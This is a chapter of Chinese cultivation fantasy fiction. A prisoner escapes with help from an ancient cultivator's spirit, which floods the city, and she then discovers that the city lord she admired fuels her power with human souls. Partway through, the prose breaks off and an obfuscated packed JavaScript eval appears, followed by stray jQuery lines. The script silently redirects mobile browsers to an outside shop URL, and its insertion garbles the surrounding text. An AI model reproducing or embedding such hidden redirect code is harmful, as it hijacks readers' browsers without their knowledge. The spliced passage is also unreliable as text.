“琤——”
一块青玉从阎止念的手中掉落,撞地而碎。
斜对面牢房中的魏善利本坐地倚墙假寐,被乍然唤醒,站起身抓住铁栅,看向声源,问:“发生了何事?!”
待视线捕捉到地上碎玉后,他语气一变,双手抱臂道:“我记得这是南无观送你的吧,平日宝贝的不行,时刻不离身,这会儿怎么把玉给摔了?是终于发现南无观这人有问题了?”
魏善利说到最后,语调上扬,展露出某种迫不及待。
阎止念只面无表情地回:“请不要妄言。”
“好好好,知道你还未变心。”魏善利把身子靠在铁栅上,“所以为何突然不要这玉了?”
说完,他又自顾自地补充道:“我爹那里收着许多比这品质好一万倍的玉,壁环瑗玦,你想要什么形状的都有。待我们从这里出去之后,我带你去挑。”
阎止念习惯了魏善利的多言,连不耐、厌烦这样的情绪也懒得生出了。她只沉默结跏趺坐,望向正前方被铁栅阻隔的墙壁。
墙壁上挂着的陶灯仿佛死去多日,灯焰一动不动。下一秒,一人从焰光中走出,灯中火也惊活过来,爬上她黑色的裙摆,化作肆意的火焰纹。
阎止念恍惚回到了五年前的一天。彼时抱城城主新换,游街赐福。阎止念站在拥挤中,仰望从显轿上露出的一片裙角,其上的火焰纹随着吉良的步调一摇一晃,比那日的烈阳还要耀眼。
甫一眨眼,阎止念又回到了昏暗阴湿的牢中。旧日的城主依然艳丽,而灿阳已然坠落,看客狼狈不堪。
江斗凝,她盯着逐渐消失的裙摆,心想,好久不见。
阎止念曾最敬慕江斗凝,修仙界中的大多数或许都推崇江斗凝。因为江斗凝仿佛是运道而生的,出生时红莲沿水遍开抱城。开智后,她的修行速度更是一日千里。十岁进入漏尽境,踏入修仙之门;十六岁通白脉,摸到长生之法;十九岁结道胎,二十四岁胎出神显,现一瞬佛相;二十九岁分念成形,登临化身之境。
修行成仙不过九阶:漏尽,六候,白脉,结胎,胎出,化身,空相,还虚,涅槃。多少人穷尽一生,爬不上一阶,而她,江斗凝,仅用二十九年,走了三分之二。
实乃天授之才。
可就是这样的天才,在众人的期盼中握住城主权柄后落入了荒唐,组建黑面鬼,把阎止念以闹事之名关进牢房,判处死刑。
尽管阎止念什么都没做。
/
摔碎的青玉释放出了一抹大能的残识,以报恩之说帮助阎止念和魏善利逃出地牢,回到城主府外的街道。接下来,他们只要走出城门,便可安全。
可两人一识分别时,大能残识的话留住了阎止念的脚步:“之后什么打算?自然是灭了这座城。”
“前辈?”那种落入雾中般的荒唐感再次笼罩阎止念的头顶,“不过是律法失中,冤入人罪,与主事人计较便是,何至牵连无辜城民?”
“呵!”浮在空中的大能冷笑,“无辜?在这里生活的人没有一个是无辜的!他们的血液里早就灌满了罪恶。”
大能愈说愈气,以至须发竖起。“他们抛弃了我的女儿,抛弃了我的女儿!我定要他们以命来偿!”
女儿?
阎止念愣在原地,见大能冲天而起,搅弄风云。顷刻间乌云密聚,电闪雷鸣,大雨滂沱。
魏善利把阎止念拉至屋檐下躲雨,然后边拍落身上的雨珠边念叨:“这老丈想作甚?淹了这里?他女儿究竟是谁啊?”
阎止念施法为两人蒸干身上的潮气,又得到魏善利黏糊的感谢:“还是止念你对我好!”
抱城人对雨水的惊叹声逐渐淹没魏善利的声音,涌入阎止念的耳中。她说:“我要去找江斗凝。”
“你没事吧?”魏善利蹙眉,“我们刚从她那里逃出来,作甚回去自投罗网?”
“可是能阻止这位前辈的,只有她。”放眼望去,抱城之内,能与大能一敌的只有江斗凝。
阎止念有些后悔,为了逃开莫须有的罪名而放出不知底细、全然陌生的大能残识。她以为只是一场以恩情为名的交易,却未料到大能对这里如此憎恶。
她盯了乱飞的雨帘许久,魏善利看了她的侧脸许久,道:“我陪你去。”
“不用……”
“你知道的,我这人倔,说好了一直陪着你,自是一分一毫都不会改。”魏善利道。
她息了声,唇角翘起让人难以察觉的弧度。
/
两人趟着水跑向城主府。这雨太大了,卷在风里往人身上撞,让任何遮雨的器具都失了效,退而求其次用灵力立起防护罩,也瞬间被雨水消解。
两人只好这般几乎赤条条着,任由雨水砸在皮肤上。
好不容易到了城主府门口,久久等待通传后,终于见到江斗凝。
窗外狂风呜咽,重雨悲泣。江斗凝坐在萧萧殿中,低头执笔画着什么。案上一灯如豆,根本照不亮江斗凝的表情。
阎止念晃神,仿若回到了地牢中,或者说,她真的走出牢房了吗?
但此刻不是纠结这个的时候。阎止念拖着水行礼,对案后之人坦言发生的所有事。
江斗凝听完,动作未变,道:“原来消失的两人是你们。”
“江城主,”魏善利不满,“这并不是重点,重点是有人要淹了你的城!”
“这同样重要。”江斗凝搁笔,“你们的消失自是要人担责的。”
“可说到底,是你制定的律法有问题!我只是不小心碰倒了一个摊子,怎么就算是闹事了?怎么就该处死了?我的师妹甚至什么都未做,为何与我同罪同罚?”魏善利气愤道。
江斗凝笑出声,打破殿内固执的黑暗。“你们度厄宗的人都是这般有礼的吗?生气成这样也没辱骂我。”
魏善利被这莫名其妙的话浇灭了怒焰。阎止念也是在此时,第一次看清了江斗凝的眼——灿烂如阳的琥珀。
“琥珀”离开了萧萧殿,只留下句“功过相抵,雨停后自行离去”,便融进雨中。
阎止念追至廊下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719571|208586||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,直到冰冷的雨珠扑脸,她才意识到身上的湿漉不知何时被烘干了。身后,跟来的魏善利念叨:“这人染疾了吧。”
/
江斗凝与大能斗了三日,仍不分上下。
阎止念也坐在廊下,一眨不眨地望了纠缠在云间的两道影子三日。陪在她身侧的魏善利闲不住,总是走来走去,然后时不时劝她离开抱城,回宗门去。
“感觉那江城主捉摸不定的,万一她之后反悔又把我们抓起来怎么办?还是早早离开,断了这变数之根为好。”魏善利如是说。
阎止念没吭声,低头看一直握在手中的避水符——是一位自称秋尺云的女子送来的,并言这是江斗凝特地为府中吏员准备的。
自从接过这张符,她不再记得雨的温度,只觉窝在了棉絮中,回到了某个温暖午后,也许,那时家乡还在,姑母还在。
她想,她要帮江斗凝,她不能再失去什么了。
可这个念头被魏善利阻止了,他道:“你冷静点!我们这点修为,上去就是送死……”
话音未落,一道身影从云中落,伴随震动耳膜的幽幽龙吟,坠入涛涛水流中。
是江斗凝!
阎止念猛地站起身,把符纸塞进胸前,跑出庑,奔进水,徒留魏善利的呼唤回荡在原地。
雨依旧的大,连绵不绝,把都城灌成了汹涌的河,余一栋栋玉阶彤庭点缀成鱼藻。阎止念用灵力拔着身子,一步一步地挪,后干脆钻入水中,化作游鱼。
也不知游到了何处,水底乍然传来一股吸力,抓住阎止念的身体直往下扯。阎止念抵抗不得,只能无力地看着水变作天,推她愈来愈远。
恍惚中,她听见一种声音朝她聚来。
那是冰面开裂的声音。
/
水底下是另一个世界。
白色涂满天地,珍珠妆点角落。沿着墙根种下的白蜡烛燃烧着,在墙面上调皮地划上一道黑。一眨眼,那黑色似乎蠕动了一下身子,再眨眼,它已在墙上乱爬,愈动愈大,若风暴诞生的前兆。
阎止念迷茫地打量四周,脚同时往前迈,却听清脆的断裂声从履下传来。她低头看,是一截白骨。
骨殖……这里怎么会有骨殖呢?
她运转灵力,以心识再次探查周遭,发现墙上爬动的黑色化出了一张张男女各异的人脸,装饰的珍珠显出了颅骨的真面目,而她的脚下,一个黑色的阵法发出暗淡的光。
她感觉有什么猜测在心中跳跃,可她不愿去听。
命运却由不得她的逃避,用桌面一张滴满黑褐印迹的纸割开蒙眼的布。纸上手写着一个阵法的布置方法与运行步骤——
魂香阵,以人血绘阵,用人魂作香,精进用阵者的修为。
她抖着手从怀中掏出避水符,一一比对两者之上的笔触异同。横撇竖捺,她一字一字慢慢地看过去,生怕错漏某道笔画。最后却难过地发现,两者是同一人写的。
“江斗凝,”良久后,她的声音从喉咙中爬出,低得几不可闻,“我恨你。”